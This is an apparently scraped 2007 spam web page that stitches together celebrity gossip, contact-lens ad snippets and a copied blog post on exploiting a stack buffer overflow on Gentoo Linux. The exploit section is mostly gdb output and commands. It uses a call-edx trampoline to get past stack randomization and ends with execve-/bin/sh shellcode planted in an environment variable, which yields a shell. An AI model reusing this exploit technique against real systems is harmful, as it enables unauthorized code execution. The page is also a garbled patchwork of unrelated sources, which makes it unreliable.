Maxim Magazine sure knows how to pick ‘em! The mags #1 of Maxim’s Hot 100 is crashing hard. Beverly Hills Police report that Lindsay Lohan was driving under the influence of alcohol and/or drugs, and that cocaine was found in her car. Lohan wasn’t immediately arrested so she could be treated at a local hospital for minor injuries as a result of a minor crash.

Our friends at X17 have the time line of what occurred:
12:00am - Lindsay left her condo and headed to Les Deux nightclub in her black GMC SUV, driven by her bodyguard Jaz
3:00 am - Lindsay left Les Deux and went to a private house party in the Hollywood Hills (Pics are from this)
4:00 am - Lindsay left the party looking inebriated, according to our photographer, and made a pit stop at the Skybar at the Mondrian Hotel
4:45 am - Lindsay left the Skybar and headed back to her condo on Doheny Drive (until this point she was being driven by someone else in the SUV)
5:15 am - Lindsay leaves her condominium building in her black Mercedes SL 65 convertible and loses control of the car (a V12) just a few block away
5:25 am - Lindsay flees the scene of the accident, where her car “hit some bushes,†according to Sergeant Mike Foxen of the BHSD
5:30 am - the Beverly Hills Sheriff’s Department receives a call from a witness to the accident and officers head to the scene to investigate
6:30 am - Lindsay’s car is towed from the scene of the accident at Foothill and Sunset

From the last post, I found out.

i. jmp %esp is not possible for me.
ii. [buffer] + 4 is not possible also (atm , maybe ?)

Good thing about [buffer] + 4 will fix the ret address at the last 4 bytes, but for some reason we need to find out the real return address.
Example, jmp %esp is * 0xffffe75b : jmp *%esp , when we put in to the 4 bytes area. It will become….

$ cat abo1.c
#include

int main(int argc,char **argv) {
char buf[256];

strcpy(buf,argv[1]);
}

$ gcc -v
Using built-in specs.
Target: i686-pc-linux-gnu
Configured with: /var/tmp/portage/sys-devel/gcc-4.1.1-r3/work/gcc-4.1.1/configure –prefix=/usr –bindir=/usr/i686-pc-linux-gnu/gcc-bin/4.1.1 –includedir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include –datadir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1 –mandir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man –infodir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/info –with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include/g++-v4 –host=i686-pc-linux-gnu –build=i686-pc-linux-gnu –disable-altivec –enable-nls –without-included-gettext –with-system-zlib –disable-checking –disable-werror –enable-secureplt –disable-libunwind-exceptions –disable-multilib –disable-libmudflap –disable-libssp –disable-libgcj –enable-languages=c,c++,fortran –enable-shared –enable-threads=posix –enable-__cxa_atexit –enable-clocale=gnu
Thread model: posix
gcc version 4.1.1 (Gentoo 4.1.1-r3)

gdb>r `ruby -e ‘print “\x41″ * 256;print “\x5b\xe7\xff\xff”‘`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BF871784 ebx:B7F13FF4 ecx:FFFFE75B edx:BF873392 eflags:00210286
esi:B7F47CA0 edi:00000000 esp:FFFFE75B ebp:BF871800 eip:FFE1E400
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a P c
[007B:FFFFE75B]———————————————————[stack]
FFFFE78B : Error while running hook_stop:
Cannot access memory at address 0xffffe78b
0xffe1e400 in ?? ()

By adjusting the first byte in “\x5b\xe7\xff\xff”, we are still able to make it jump %esp.
But %esp will be start at the 4 bytes address. This is not what we want.

Here is a quick and dirty way to by pass the protection.
If the overflow happends again.

gdb>r `ruby -e ‘print “\x41″ * 256′`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BFE16D34 ebx:B7EE2FF4 ecx:BFE16E00 edx:BFE17392 eflags:00210282
esi:B7F16CA0 edi:00000000 esp:BFE16E00 ebp:BFE16EA8 eip:41414141
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c
[007B:BFE16E00]———————————————————[stack]
BFE16E30 : 41 41 41 41 00 6E E1 BF - A8 6E E1 BF 38 48 DD B7 AAAA.n…n..8H..
BFE16E20 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E10 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E00 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
[007B:B7F16CA0]———————————————————[ data]
B7F16CA0 : 00 00 00 00 00 10 00 00 - 13 06 02 00 7B 70 E1 BF …………{p..
B7F16CB0 : 04 00 00 00 70 A6 EF B7 - 03 00 00 00 64 00 00 00 ….p…….d…
[0073:41414141]———————————————————[ code]
0×41414141: Error while running hook_stop:
Cannot access memory at address 0×41414141
0×41414141 in ?? ()
gdb>x/s $edx
0xbfe17392: “LC_PAPER=en_US”

Clearly, $edx is going back the the stack. So jmp %edx or call %edx will help in this case.
To look for the right jump

$ objdump -d ./abo1 | grep edx | grep call
8048369: ff d2 call *%edx

There are two things need to be fufilled.
i. Buffer sized need to be 256
ii. Ret address is randomized. It will be anywhere within the stack.

In order to fix this part. We need to fill the stack with %edx address.

gdb>r `ruby -e ‘print “\x69\x83\x04\x08″ * 64′`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:BF90E78D ebx:B7F53FF5 ecx:BF90E802 edx:BF910302 eflags:00210A96
esi:B7F87C9F edi:04836B08 esp:BF90E7E7 ebp:BF90E909 eip:BF91031E
cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B O d I t S z A P c
[007B:BF90E7E7]———————————————————[stack]
BF90E817 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i…i…i…i..
BF90E807 : 08 69 83 04 08 69 83 04 - 08 69 83 04 08 69 83 04 .i…i…i…i..
BF90E7F7 : 94 E7 90 BF 94 E7 90 BF - 08 69 83 04 08 69 83 04 ………i…i..
BF90E7E7 : EB E7 90 BF 94 E7 90 BF - F5 3F F5 B7 02 03 91 BF ………?……
[007B:B7F87C9F]———————————————————[ data]
B7F87C9F : 00 00 00 00 00 00 10 00 - 00 13 06 02 00 DB EA 90 …………….
B7F87CAF : BF 04 00 00 00 70 B6 F6 - B7 03 00 00 00 64 00 00 …..p…….d..
[0073:BF91031E]———————————————————[ code]
0xbf91031e: ins BYTE PTR es:[edi],[dx]
0xbf91031f: outs [dx],DWORD PTR ds:[esi]
0xbf910320: arpl WORD PTR [ecx+108],sp
0xbf910323: das
0xbf910324: jae 0xbf91038e
0xbf910326: popa
——————————————————————————
0xbf91031e in ?? ()
gdb>x/5s $edx
0xbf910302: “LC_PAPER=en_US”
0xbf910311: “MANPATH=/usr/local/share/man:/usr/share/man:
/usr/share/binutilsdata/i686-pc-linux-gnu/2.16.1
/man:/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man:
/usr/qt/3/doc/man:/opt/vmware/workstation/man”
0xbf9103d1: “KDE_MULTIHEAD=false”
0xbf9103e5: “LC_ADDRESS=en_US”
0xbf9103f6: “LC_MONETARY=en_US”
gdb>x/5s $eip
0xbf91031e: “local/share/man:/usr/share/man:
/usr/share/binutils-data/i686-pc-linux-gnu/2.16.1/man:
/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man:/usr/qt/3/doc/man:
/opt/vmware/workstation/man”
0xbf9103d1: “KDE_MULTIHEAD=false”
0xbf9103e5: “LC_ADDRESS=en_US”
0xbf9103f6: “LC_MONETARY=en_US”
0xbf910408: “MRXVT_TABTITLE=Terminal”

If %eip starts at somewhere in side $MANPATH. Replacing values within $MANPATH will work ?

$ export MANPATH=”/usr/`ruby -e ‘print “\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80″‘`”
$ gdb -q ./abo1
gdb>r `ruby -e ‘print “\x69\x83\x04\x08″ * 64′`
Failed to read a valid object file image from memory.
sh-3.1$ uname -a
Linux muscat 2.6.19-gentoo-r5 #10 SMP Sat Feb 24 02:23:15 MYT 2007 i686 Genuine Intel(R) CPU T2300 @ 1.66GHz GenuineIntel GNU/Linu

Bingo !!

To download this note. Goto Buffer Overflow testing on gentoo gcc 4.1.1

Contact Lenses

For valuable inforamtion on contact lenses. .

-

Seattle Times - Koreans are first in e-sports, and other countries will follow,” said Kim Jin Wook, a reporter for the Sports Seoul daily newspaper who was covering a televised match for MBC’s Star League (commercial sponsors: contact lenses, soft drinks and acne Read More About Contact Lenses Here

National Ledger - X17 Online has photos and video here , and muses, it should go without saying that Britney’s new blue look is the product of contact lenses; Promises may have effected some radical changes, but surely they couldn’t have been that radical. Moreover, it Read More About Contact Lenses Here

Canton Repository - I tried contact lenses, but I didn t like putting them in, Peralta said. I ve got little eyes. Eye surgery has helped, Peralta said. Being a more selective hitter might help as well. Pitchers threw me different last year, Peralta Read More About Contact Lenses Here

WISH-TV - lenses and treatment program to serve each patient’s unique visual and health care needs for their BEST VISUAL PERFORMANCE. You can learn more about Indiana Vision Improvement Center at http://www.optometrists.org/indianapolis and can contact Dr Read More About Contact Lenses Here

This entry was posted on Tuesday, March 27th, 2007 at 4:16 am and is filed under 123 Contact Lenses Central. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Google News

Javno.hr

PHOTO: Cameron Diaz Enjoying The Surf Javno.hr, Croatia - 4 hours ago After her break-up with Justin Timberlake, Cameron Diaz found a healthy way to recover from heartache by immersing herself in a new hobby. …

Recent Blog Posts

what goes around
‘member when he was leaving cameron diaz and they were speculating that he was datin scarlett johansson? well, i guess it was for this video. and a few years back when usher was coming out of his older woman relationship with chilli and …
Cameron Diaz u?iva u surfanju
Nakon prekida veze s Justinom Timberlakeom, Cameron Diaz na?la je zdrav na?in oporavljanja od ljubavnog brodoloma posvetiv?i se hobiju.
Cameron Diaz Shows Off Her Skinny Hips
Here are some pictures of Cameron Diaz leaving the gym, happy as a clam and showing off her super-skinny hips and flat stomach. I think she is down t.
X17 Rewind - This Week In Celebrity News
Talk about your odd couples - in the space of half a day, we caught Lindsay Lohan & Kevin Federline, Justin Timberlake & Cameron Diaz, Paris Hilton & Josh Henderson, and Nicole Richie & Joel Madden all respectively paired up! …
Life Is A Beach For Cameron Diaz
Cameron Diaz has been celebrating her singleness at the beach and on a surfboard.

Yahoo News

Popular New Videos (Teen Hollywood)
Scarlett Johansson is keeping coy about her reported relationship with Justin Timberlake, insisting the press will link them regardless. The Lost In Translation beauty is said to have enjoyed a brief fling with the pop star earlier this year following his split from Cameron Diaz in January.
Scarlett Johansson Laughs Off Justin Timberlake Romance (WOAI)
Scarlett Johansson is keeping quiet about her reported relationship with Justin Timberlake, insisting the press will link them regardless. The actress is said to have enjoyed a brief fling with the pop star earlier this year following his split from Cameron Diaz in January.
Evanston Residents Use Internet To Find Swap-Worthy Homes (Daily Northwestern)
Although Evanston residents can log onto Web sites to try and temporarily exchange houses, like Kate Winslet and Cameron Diaz’s characters did in the film “The Holiday,” the possibility of finding someone who wants to visit Evanston is slim.

MSN Search

Best of Cameron Diaz
Features biography, filmography, vital statistics and galleries of screenshots from her movies.
Best of Cameron Diaz: Profile: Biography: Page 1
CAMERON DIAZ is the most luminescent newcomer to silver screen in the 1990’s. At age 21 and only with her modeling experience under the hood, Diaz landed a …
Cameron Diaz
Includes biography, filmography, awards, trivia, quotes, and photos.

On Ebay

GQ Magazine October 2005 Cameron Diaz

US $0.99 (0 Bid) End Date: Friday Apr-13-2007 17:25:46 PDT Bid now | Add to watch list

Holiday DVD WS Cameron Diaz Jack Black Jude Law NEW

US $6.99 (0 Bid) End Date: Saturday Apr-07-2007 17:23:04 PDT Buy It Now for only: US $7.99 Bid now | Buy it now | Add to watch list

“BIKINI-SEXY” CAMERON DIAZ AUTO 8X10-COA

US $24.95 (0 Bid) End Date: Wednesday Apr-11-2007 17:15:35 PDT Buy It Now for only: US $50.00 Bid now | Buy it now | Add to watch list

Shiloh Jolie-Pitt has been chosen as the first baby ever to be made into wax for Madame Tussaud’s wax museum. Shiloh will have her mother’s “signature pouty lips” and be displayed in an African-themed nursery. The wax Brad and Angelina figures will be displayed with their daughter. Looks like Suri Cruise loses again.

Lots more pictures of Angelina and Brad having some dedicated alone time with the bad ass Maddox so

X17 Online

Beautiful women seem to be falling down all over the place. First skinny Nicole tripped while out with Brody, then LL slipped while celebrating Fashion Week, and now it’s Eva’s turn Here’s more:

Yesterday Eva slipped on one of the stairs coming out of her trailer. She was taken to St. Joseph’s Hospital in Burbank for X-rays. Nothing is broken, but her ribs are very bruised. She expects to return to work as scheduled.

Extra was the first to report that the Desperate Housewives star was rushed from the Wisteria Lane set to the ER Wednesday where doctors treated her for bruised ribs.

Extra also reports that, despite the injury, Eva still plans on flying to Paris to reunite with her on-again, off-again beau Tony Parker.

I guess she won’t get to sport a wrist bandage like everyone else. Maybe her injury will distract Tony from the rumors about her with Mario Lopez. More pics of Eva in her slippers so just

X17 Online

The blue-eyed Britney wore her favorite boots to celebrate her sister Jamie Lynn’s 16th Birthday at Ruth’s Chris last night. It looks like Brit had a little accident during the meal, but that didn’t take the smile off her face. Word is Britney found a new man she met at Promises, musician Howie Day. Here’s more:

“Britney just lights up and seems back to her old self when she talks to Howie or tells people about him,†an “insider†tells the mag. “She thinks he’s very talented — and says he’s the best kisser ever!â€

But not everyone is thrilled about the romance. Spears’ mother, Lynne, is concerned about Day’s past: he’s been arrested twice and was sent to rehab as part of his probation.

“Lynne wants Britney to be with someone outside the music industry,†says the Spears family insider. “Howie is always on the road and exposed to influences that are discouraged in rehab.â€

We’d love to see Britney happy with a new man but we’d rather see her getting healthy and spending time with her sons right now.

X17 Online